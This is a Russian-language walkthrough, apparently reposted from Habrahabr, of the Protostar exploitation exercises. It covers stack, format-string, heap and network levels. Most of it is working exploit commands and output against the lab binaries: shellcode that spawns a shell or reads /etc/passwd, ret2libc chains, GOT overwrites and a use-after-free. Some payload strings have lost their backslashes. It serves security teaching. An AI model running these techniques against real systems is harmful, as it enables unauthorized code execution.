» » Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

 

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Автор: admin от 7-03-2017, 19:25, посмотрело: 223

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Всем доброго времени суток. Продолжаем разбор заданий с сайта Exploit Exercises, и сегодня будут рассмотрены основные типы бинарных уязвимостей. Сами задания доступны по ссылке. На этот раз нам доступны 24 уровня, по следующим направлениям:


  • Network programming

  • Byte order

  • Handling sockets

  • Stack overflows

  • Format strings

  • Heap overflows


Задания по каждой категории идут от простого к сложному, демонстрируя базовые приемы эксплуатации уязвимостей.

Stack0


Этот уровень демонстрирует, как изменение локальных переменных в ходе обычного переполнения буфера, может повлиять на ход выполнения программы.


Всё что нужно сделать, это просто переполнить отправить в переменную buffer, строку, превышающую её размер:

user@protostar:~$ python -c 'print("A"*100)' | /opt/protostar/bin/stack0

Получаем результат:
you have changed the 'modified' variable

Stack1


На прошлом уровне мы просто перезаписывали переменную modified, на этом требуется присвоить ей конкретное значение:


Поэтому для начала заполняем buffer, а затем устанавливаем modified:

user@protostar:~$ /opt/protostar/bin/stack1 `python -c 'from struct import pack; print("A"*64+pack("<I", 0x61626364))'`

И сообщение об успешном выполнении:
you have correctly got the variable to the right value

Stack2


На этом уровне всё тоже самое, за исключением того, что значения считываются из переменных окружения. А им как вы помните из предыдущей части, доверять нельзя:


Запускаем stack2 с предварительно установленной переменой окружения GREENIE:
user@protostar:~$ GREENIE=`python -c 'from struct import pack; print("A"*64+pack("<I",0x0d0a0d0a))'` /opt/protostar/bin/stack2

you have correctly modified the variable

Stack3


На этом уровне от нас требуется захватив регистр EIP, передать управление на функцию win:


Для начала, выясним её адрес:

(gdb) disassemble win
Dump of assembler code for function win:
0x08048424 <win+0>:	push   %ebp
0x08048425 <win+1>:	mov    %esp,%ebp
0x08048427 <win+3>:	sub    $0x18,%esp
0x0804842a <win+6>:	movl   $0x8048540,(%esp)
0x08048431 <win+13>:	call   0x8048360 <puts@plt>
0x08048436 <win+18>:	leave  
0x08048437 <win+19>:	ret    
End of assembler dump.

И выполним уже знакомые действия:

user@protostar:~$ python -c 'from struct import pack; print("A"*64+pack("<I", 0x08048424))' | /opt/protostar/bin/stack3

Адрес возврата изменён, о чем нас уведомляет следующее сообщение:
calling function pointer, jumping to 0x08048424
code flow successfully changed

Stack4


Этот уровень уже как раз демонстрирует изменение адреса возврата, при его обычном расположении в стеке:


user@protostar:~$ gdb /opt/protostar/bin/stack4

Узнаём адрес, по которому расположена функция win:

(gdb) disassemble win
Dump of assembler code for function win:
0x080483f4 <win+0>:	push   %ebp
0x080483f5 <win+1>:	mov    %esp,%ebp
0x080483f7 <win+3>:	sub    $0x18,%esp
0x080483fa <win+6>:	movl   $0x80484e0,(%esp)
0x08048401 <win+13>:	call   0x804832c <puts@plt>
0x08048406 <win+18>:	leave  
0x08048407 <win+19>:	ret    
End of assembler dump.

Далее находим в стеке смещение, для перезаписи регистра EIP:

gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Ну и собственно выполнив небольшой код, заставляем программу перейти на нужный нам участок:

opt/protostar/bin$ perl -e 'print "A"x76 . "xf4x83x04x08"' | ./stack4

О чем свидетельствует сообщение:
code flow successfully changed

Stack5


На этом уровне начинается введение в использование шелл-кодов.


user@protostar:/opt/protostar/bin$ gdb -ex r ./stack5

Starting program: /opt/protostar/bin/stack5
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBAAAA

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) x/20xw $esp-100
0xbffff76c:	0x080483d9	0xbffff780	0xb7ec6165	0xbffff788
0xbffff77c:	0xb7eada75	0x42424242	0x42424242	0x42424242
0xbffff78c:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffff79c:	0x42424242	0x42424242	0x42424242	0x42424242
0xbffff7ac:	0x42424242	0x42424242	0x42424242	0x42424242

Создадим в peda небольшой шелл-код:

gdb-peda$ shellcode generate x86/linux exec
# x86/linux/exec: 24 bytes
shellcode = (
    "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31"
    "xc9x89xcax6ax0bx58xcdx80"
)

Осталось это всё объединить:

user@protostar:/opt/protostar/bin$ (python -c 'from struct import pack; print("x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x89xcax6ax0bx58xcdx80"+"x90"*(76-24)+pack("<I", 0xbffff780))';cat) | gdb -q -ex r --batch ./stack5
Executing new program: /bin/dash
id
uid=1001(user) gid=1001(user) groups=1001(user)

Немного поясню: cat в обычном режиме запускается и бесконечно начинает пересылать всё что приходит на STDIN в STDOUT, dash этого делать не умеет, и без параметров сразу закрывается.

Stack6


Продолжаем изучать шеллкод. На этом уровне нас просят для успешной эксплуатации воспользоваться одной из техник: ret2libc или ROP.


С кодом всё понятно, приступим к поиску адреса возврата. Скачав файл себе, и запустив его в peda, создаём паттерн:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Запускаем наш бинарник, передаём ему созданный шаблон, и просим peda найти нужные нам смещения:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

В этом задании будем использовать технику ret2libc, но для начала найдём необходимые адреса:

(gdb) x/s *((char **)environ+14)
0xbfffff84:	 "SHELL=/bin/sh"
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
(gdb) p exit
$1 = {<text variable, no debug info>} 0xb7ec60c0 <*__GI_exit>

Так как у нас не включен ASLR, то с этим проблем не возникло. В качестве параметра для функции system, передадим ей адрес на переменную окружения SHELL. Таким образом у нас есть все необходимые данные для создания сплоита:

eipOffset = 80
systemAddr = 0xb7ecffb0
exitAddr = 0xb7ec60c0
shellAddr = 0xbfffff8a

Сам сплоит будет выглядеть следующим образом:
A * eipOffset | systemAddr | exitAddr | shellAddr

Осталось это всё объединить:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

После запуска получаем доступ к оболочке.

P.S. Ответ на вопрос: почему несмотря на наличие SUID бита мы не получаем root, был в разборе задания Level11

Stack7


Уровень полностью совпадает с предыдущим, за исключением того, что нас просят воспользоваться msfelfscan, для поиска ROP гаджетов.


Выполняем те же действия что и в предыдущем задании:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Как можем наблюдать, peda нам сообщила о том, что регистр EAX как раз указывает на начало нашего буфера. Попробуем найти инструкции call/jmp eax в коде stack7, воспользовавшись предложенным msfelfscan:

$ msfelfscan -j eax ./stack7
[./stack7]
0x080484bf call eax
0x080485eb call eax

Для примера, возьмём этот шелл, который выведет нам содержимое файла /etc/passwd
В итоге сплоит будет выглядеть следующим образом:

user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print("x31xc0x99x52x68x2fx63x61x74x68x2fx62x69x6ex89xe3x52x68x73x73x77x64x68x2fx2fx70x61x68x2fx65x74x63x89xe1xb0x0bx52x51x53x89xe1xcdx80"+"x90"*(80-43)+pack("<I",0x080484bf))' | ./stack7

После запуска получаем соответствующий вывод:


Format0


Мы подошли к уязвимостям форматной строки. На этом уровне демонстрируется, пример того, как используя эту уязвимость, можно изменить ход выполнения программы. При этом есть условие: Нужно уложиться в строку размером 10 байт.


Программа принимает первый аргумент командной строки, и без фильтрации передаёт его в sprintf. В случае обычного переполнения это решение выглядело бы следующим образом:

user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("A"*64+pack("<I",0xdeadbeef))'`
you have hit the target correctly :)

В 10 байт мы явно не укладываемся, поэтому стоит прибегнуть к возможностям строкового форматирования:

user@protostar://opt/protostar/bin$ ./format0 `python -c 'from struct import pack; print("%64x"+pack("<I",0xdeadbeef))'`
you have hit the target correctly :)

Мы всё так же решили задачу переполнением переменной buffer, однако теперь за нас это сделала функция sprintf

Format1


Уровень Format1 демонстрирует возможность изменения значений в памяти, по произвольному адресу.


Воспользовавшись objdump найдём адрес по которому расположена переменная target:

user@protostar:/opt/protostar/bin$ objdump -t ./format1 | grep target
08049638 g     O .bss	00000004              target

Далее, вычислим смещение, куда мы можем записывать данные:

user@protostar://opt/protostar/bin$ for i in {1..200}; do ./format1 "AAAA%$i$x"; echo " $i"; done | grep 4141
AAAA41414141 127

Теперь мы можем изменить значение глобальной переменной target, следующим образом:

user@protostar://opt/protostar/bin$ ./format1 `python -c 'from struct import pack; print(pack("<I",0x08049638)+"%127$n")'`
8?you have modified the target :)

Format2


Следующий уровень демонстрирует не просто изменение произвольного адреса, а запись по нему конкретного значения.


Собственно алгоритм действий на первом этапе будет таким же, попробуем просто записать в target какое-нибудь значение. Заодно посмотрим как работал предыдущий пример.

Узнаём необходимую информацию:

user@protostar:/opt/protostar/bin$ objdump -t ./format2 | grep target
080496e4 g     O .bss	00000004              target
user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i$x" | ./format2; done | grep 4141
4 -> AAAA41414141

Теперь попробуем осуществить запись, как это было на предыдущем уровне:

user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"%4$n")' | ./format2
??
target is 4 :(
user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"A"+"%4$n")' | ./format2
??A
target is 5 :(

Как и следовало ожидать, в target записывается количество байт до спецификатора %n. Осталось записать туда необходимое значение — 64. Которое будет получено как: 4 байта — адрес + отступ 60 символов:

user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496e4)+"%60x"+"%4$n")' | ./format2
??                                                         200
you have modified the target :)


Format3


Писать 1 байт это хорошо, но не практично. Поэтому этот уровень показывает как можно записать в память более 1 или 2-х байт.

Есть несколько способов это сделать:


  • Мы можем писать конкретное значение в конкретный участок памяти как в предыдущем примере, следовательно, почему бы не записать сразу необходимое значение:

    user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496f4)+"%16930112x"+"%12$n")' | ./format3 | grep "you"
    	you have modified the target :)

    Минус этого метода в том, что предварительно нам будет выведен отступ в 0x01025544 символа;


  • Второй способ — это записывать значения по 1-2 байта

    user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496f4)+pack("<I",0x080496f5)+pack("<I",0x080496f6)+"%56x"+"%12$n"+"%17x%13$n"+"%173x%14$n")' | ./format3
    	??????                                                       0         bffff5e0                                                                                                                                                                     b7fd7ff4
    	you have modified the target :)

    В начале мы указываем адреса по которым будем менять байты, затем уже привычным образом подбираем соответствующие значения. При этом стоит помнить о том, что мы ограничены в диапазоне изменения конкретного байта, т.е. каждый последующий должен быть больше предыдущего, так к примеру минимальное значение которое при данном способе можно записать в байт по смещению %14$n => 0x5c. Поэтому туда мы записываем сразу 2 байта;


  • Кончено никто не запрещает менять порядок записи байт, например вот так:

    user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I",0x080496f6)+pack("<I",0x080496f4)+"%250c%12$hn"+"%21570c%13$hn")' | ./format3
    	you have modified the target :)

    Вывода большого количества отступов не избежать, но опять же, изменять младшие байты мы можем начиная со значения 0x0103.


Format4


Вот мы и подошли к финальному и пожалуй самому интересному уровню на эксплуатацию уязвимости форматной строки. Тут от нас требуется, передать управление в функцию hello().


Наиболее простым способом это сделать является перезаписть адреса в таблице GOT, для функции exit() на адрес функции hello(). Для начала найдем необходимые адреса:

user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep hello
080484b4 g     F .text	0000001e              hello
user@protostar:/opt/protostar/bin$ objdump -R ./format4 | grep exit
08049724 R_386_JUMP_SLOT   exit

Далее определяем смещение, по которому расположен пользовательский буфер:

user@protostar:/opt/protostar/bin$ for i in {1..200}; do echo -n "$i -> "; echo "AAAA%$i$x" | ./format4; done | grep 4141
4 -> AAAA41414141

Значения отступов, которые нужно использовать чтобы записать необходимое нам число можно рассчитать в Python следующим образом:

 0x0804 - 8
2044
 0x84b4 - 8 - 2044
31920

Теперь можно приступить к созданию сплоита:

user@protostar:/opt/protostar/bin$ python -c 'from struct import pack; print(pack("<I", 0x08049726) + pack("<I", 0x08049724) + " 44c%4$hn" + "%31920c%5$hn")' | ./format4
&?$?
code execution redirected! you win

После выполнения которого, получаем сообщение об успешном выполнении функции hello()

Heap0


Этот уровень показывает основы переполнения кучи, и как это может повлиять на ход выполнения программы.


gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ r

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

user@protostar:/opt/protostar/bin$ ./heap0 `python -c 'from struct import pack; print("A"*72+pack("<I",0x08048464))'`
data is at 0x804a008, fp is at 0x804a050
level passed

Heap1



gdb-peda$ p winner 
$1 = {void (void)} 0x8048494 <winner>

$ objdump -R ./heap1 | grep puts
08049774 R_386_JUMP_SLOT   puts

gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
gdb-peda$ set args 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA BBBBBBBB'
gdb-peda$ run
...
gdb-peda$ pattern_search 
Registers contain pattern buffer:
EAX+0 found at offset: 20
EDX+0 found at offset: 20

$ ./heap1 `python -c 'from struct import pack; print("A"*20+pack("<I",0x08049774)+" "+pack("<I",0x8048494))'`
and we have a winner @ 1487263180

Heap2



Что делает код? Сначала выводятся адреса 2х объектов auth и service, сделано это для большей наглядности. Затем в зависимости от считанной строки, происходит либо выделение памяти под тот или иной объект либо её освобождение.

Наиболее интересна тут следующая конструкция:

      if(strncmp(line, "login", 5) == 0) {
          if(auth->auth) {

Интересна она тем, что тут отсутствует проверка того, выделена ли память под объект auth или нет, т.е. код будет отрабатывать в любом случае, не зависимо от того освободили ли мы этот объект или нет. На лицо явная уязвимость use-after-free. Осталось её проэксплуатировать. Для начала выделим память для auth:

user@protostar:/opt/protostar/bin$ ./heap2
[ auth = (nil), service = (nil) ]
auth admin
[ auth = 0x804c008, service = (nil) ]

Хорошо, у нас выделилось 32 (sizeof(name)) + 4 (sizeof(auth)) байт. Теперь освободим этот участок:

reset
[ auth = 0x804c008, service = (nil) ]

Вроде бы ничего не изменилось, но взглянем на это под отладчиком:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Это до reset

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

А это после.

А теперь попробуем записать строку используя команду service:

service admin
[ auth = 0x804c008, service = 0x804c008 ]

Адреса полностью совпадают, это объясняется тем, что strdup так же использует malloc для выделения памяти под конечную строку, а так как мы только что пометили предыдущий участок, как свободный, то именно он у нас и стал использоваться. Таким образом, мы можем переписать и данные расположенные по адресу auth->auth, чтобы проверка логина прошла успешно.

Конечный эксплоит будет выглядеть так:

user@protostar:/opt/protostar/bin$ python -c 'print("auth adminnresetnservice "+"A"*36+"nlogin")' | ./heap2
[ auth = (nil), service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = (nil) ]
[ auth = 0x804c008, service = 0x804c018 ]
you have logged in already!
[ auth = 0x804c008, service = 0x804c018 ]

Heap3



Для наглядности воспользуемся peda, предварительно установив брейкпоинты в нужных местах:

gdb-peda$ b *0x080488d5  //strcpy(a, argv[1]);
gdb-peda$ b *0x08048911  //free(c);
gdb-peda$ b *0x08048935  //printf("dynamite failed?n");
gdb-peda$ r `python -c 'print("A"*32 +" "+ "B"*32 +" "+ "C"*32)'`

После запуска срабатывает первый брейкпоинт. Узнаём адрес по которому расположена куча:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Посмотрим как выглядит куча, ещё до копирования в неё переданных аргументов:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

P.S. для наглядности я не стал захватывать участок в 4 байта, расположенный перед указателем на размер чанка.

Сначала у нас идёт размер текущего куска: 0x804c004 + 0x29 = 0x804c02d — именно по этому адресу находятся данные, которые у нас помещены как «B», и так далее, в самом конце указан размер корзины. Теперь взглянем на этот же участок, перейдя к следующей точке останова:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Хорошо, с этим разобрались, осталось узнать что происходит с памятью, в куче после её освобождения:

Exploit Exercises: Введение в эксплуатацию бинарных уязвимостей на примере Protostar

Как видно, теперь каждый чанк, содержит указатель на следующий свободный
Так как копирование в данном примере осуществляется за счет strcpy, т.е. без ограничения по длине, то мы запросто можем переписать метаданные любого имеющегося чанка, в том числе и создать свой. Более подробно об этом можно узнать тут.

Для начала найдём адрес функции winner:

gdb-peda$ p winner
$1 = {void (void)} 0x8048864 <winner>

Переписывать мы будем адрес в GOT для функции puts:

user@protostar:/opt/protostar/bin$ objdump -R ./heap3 | grep puts
0804b128 R_386_JUMP_SLOT   puts

Шеллкод думаю описывать не нужно:

$ rasm2 'mov eax, 0x8048864; call eax'
b864880408ffd0

Приступим к созданию эксплоита. Так как эксплоит будет использовать особенности работы макроса unlink то адрес puts в GOT у нас станет:

0x0804b128 — 0xC = 0x0804b11c

Его собственно нужно заменить на адрес, по которому располагается первый чанк, куда мы и запишем шелл-код:
0x804c00c = 0x804c000 + 0xC

Третий чанк у нас будет расширен, за счет strcpy, и поделён на 2, так как нам нужно 2 подряд идущих чанка, которые будут помечены как свободные, иначе unlink не сработает. Конечный вид будет таким:

user@protostar:/opt/protostar/bin$ ./heap3 `python -c 'from struct import pack; print("x90"*16+"xb8x64x88x04x08xffxd0" +" "+ "B"*36+"x65" +" "+ "C"*92+pack("<I",0xfffffffc)+pack("<I",0xfffffffc)+pack("<I",0x0804b11c)+pack("<I",0x804c00c))'`
that wasn't too bad now, was it? @ 1488287968
Segmentation fault

И после запуска получаем необходимое сообщение, из функции winner, и ошибку сегментации, которая нам не интересна, ведь цель выполнена.

Net0



Как следует из описания, на этом уровне нас хотят познакомить с преобразованием строки в «little endian» число.

Поэтому без лишних слов, открываем python:

#!/usr/bin/python3
import socket
from struct import pack
host = '10.0.31.119'
port = 2999
s = socket.socket()
s.connect((host, port))
data = s.recv(1024).decode()
print(data)
data = int(data[13:13 + data[13:].index("'")])
s.send(pack("<I", data))
print(s.recv(1024).decode())

Считываем число, и используя функцию pack из модуля struct, приводим его к нужному формату. Осталось только запустить:

gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py
Please send '1251330920' as a little endian 32bit int

Thank you sir/madam

Net1



На этом уровне поставлена обратная задача, преобразовать полученные байты в строку. Снова воспользуемся Python:

#!/usr/bin/python3
import socket
from struct import unpack
host = '10.0.31.119'
port = 2998
s = socket.socket()
s.connect((host, port))
data = s.recv(1024)
print(data)
data = unpack("I", data)[0]
s.send(str(data).encode())
print(s.recv(1024).decode())

Да, вот так просто…

gh0st3rs@gh0st3rs-pc:protostar$ ./net0.py 
b'x92xc5_x'
you correctly sent the data

Net2



Последний уровень из этой серии. На котором нужно применить знания полученные ранее. Нам даны 4 uint числа, нужно отправить их сумму:

#!/usr/bin/python3
import socket
from struct import unpack, pack
host = '10.0.31.119'
port = 2997
s = socket.socket()
s.connect((host, port))
result = 0
for i in range(4):
    tmp = s.recv(4)
    tmp = int(unpack("<I", tmp)[0])
    result += tmp
result &= 0xffffffff
s.send(pack("<I", result))
print(s.recv(1024).decode())

Запускаем и получаем сообщение об успехе:

gh0st3rs@gh0st3rs-pc:protostar$ ./net2.py 
you added them correctly

На этом пока всё. Оставшиеся Final0 Final1 и Final2 предлагаю посмотреть самостоятельно.

Источник: Хабрахабр

Категория: Информационная безопасность

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Добавление комментария

Имя:*
E-Mail:
Комментарий:
Полужирный Наклонный текст Подчеркнутый текст Зачеркнутый текст | Выравнивание по левому краю По центру Выравнивание по правому краю | Вставка смайликов Выбор цвета | Скрытый текст Вставка цитаты Преобразовать выбранный текст из транслитерации в кириллицу Вставка спойлера
Введите два слова, показанных на изображении: *